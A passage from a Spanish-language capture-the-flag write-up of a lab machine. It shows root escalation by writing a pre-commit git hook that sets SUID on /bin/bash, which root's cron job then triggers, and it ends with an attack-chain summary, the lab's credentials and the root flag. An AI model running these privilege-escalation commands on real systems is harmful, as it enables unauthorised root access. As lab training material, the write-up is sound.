mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x

Aquí no hay que crear el repositorio: ya existe el de /home/dev01, y es sobre él sobre el que el cron de root hace el commit. Un pre-commit se ejecuta justo antes de cada commit y con el usuario que lo lanza, así que basta con plantarlo en .git/hooks/ (donde solo hay ficheros .sample, inertes hasta que se les quita la extensión):

cd ~/.git/hooks/
ls
echo 'chmod u+s /bin/bash' > /home/dev01/.git/hooks/pre-commit
chmod +x /home/dev01/.git/hooks/pre-commit

El directorio .git/hooks de dev01 solo contiene ficheros .sample; se escribe el pre-commit con chmod u+s /bin/bash y se le da permiso de ejecución

dev01@opensource:~$ la
.bash_history  .bash_logout  .bashrc  .cache  .git  .gnupg  .local  .profile  .ssh  user.txt
dev01@opensource:~/.git$ ls
branches  COMMIT_EDITMSG  config  description  FETCH_HEAD  HEAD  hooks  index  info  logs  objects  refs
dev01@opensource:~/.git/hooks$ ls
applypatch-msg.sample  commit-msg.sample  fsmonitor-watchman.sample  post-update.sample
pre-applypatch.sample  pre-commit.sample  prepare-commit-msg.sample  pre-push.sample
pre-rebase.sample  pre-receive.sample  update.sample

En el siguiente ciclo del cron, root hace el commit, dispara el hook y /bin/bash queda SUID. bash -p mantiene el EUID 0:

/bin/bash con SUID tras el cron; bash -p da root

dev01@opensource:~/.git/hooks$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18  2022 /bin/bash
dev01@opensource:~/.git/hooks$ bash -p
bash-4.4# whoami
root

Y con el euid de root, la flag final:

cat /root/root.txt

cat /root/root.txt desde la shell bash-4.4 con euid 0

bash-4.4# cat /root/root.txt
963098253644abed21aa182010b1aa08

Cadena de ataque

nmap (22, 80 Flask/Werkzeug)
  └─> /download → source.zip → .git (rama dev) → dev01:Soulless_Developer#2022
        └─> views.py: os.path.join con nombre absoluto → sobrescribir /app/app/views.py
              ├─> @app.route('/shell') → reverse shell como root (CONTENEDOR)
              └─> (alt) LFI ..// → PIN de Werkzeug → /console → shell
                    └─> docker breakout: 172.17.0.1:3000 Gitea + chisel
                          └─> login Gitea (dev01) → id_rsa → ssh dev01 (HOST) + user.txt
                                └─> cron git-sync (root) → hook pre-commit → chmod u+s /bin/bash
                                      └─> bash -p → root.txt

Lecciones aprendidas

  • os.path.join es una trampa clásica de Python: si un componente controlado por el usuario empieza por /, descarta la base. Pasar el nombre del fichero subido directo a os.path.join permite escritura arbitraria (y aquí, sobrescribir el propio código de la app).
  • El código fuente filtrado lo cambia todo. Un source.zip con un .git revela ramas (dev), historial y credenciales que no se ven en producción. Siempre revisar todas las ramas (git log --all, git show).
  • El PIN del debugger de Werkzeug es reconstruible, no una barrera: con una LFI que lea unos pocos ficheros (boot_id, cgroup, MAC, usuario) se regenera. Nunca dejar Flask en modo debug en producción.
  • Un root en Docker no es el root del host. Reconocer el gateway (172.17.0.1), enumerar sus puertos y reenviar con chisel es el patrón de pivote desde contenedor.
  • Los git hooks convierten un git commit automatizado en ejecución de código. Si un proceso privilegiado hace commits sobre un repo donde puedes escribir, un pre-commit es RCE como ese usuario.
Cheatsheet de comandos 14 comandos

Repaso rápido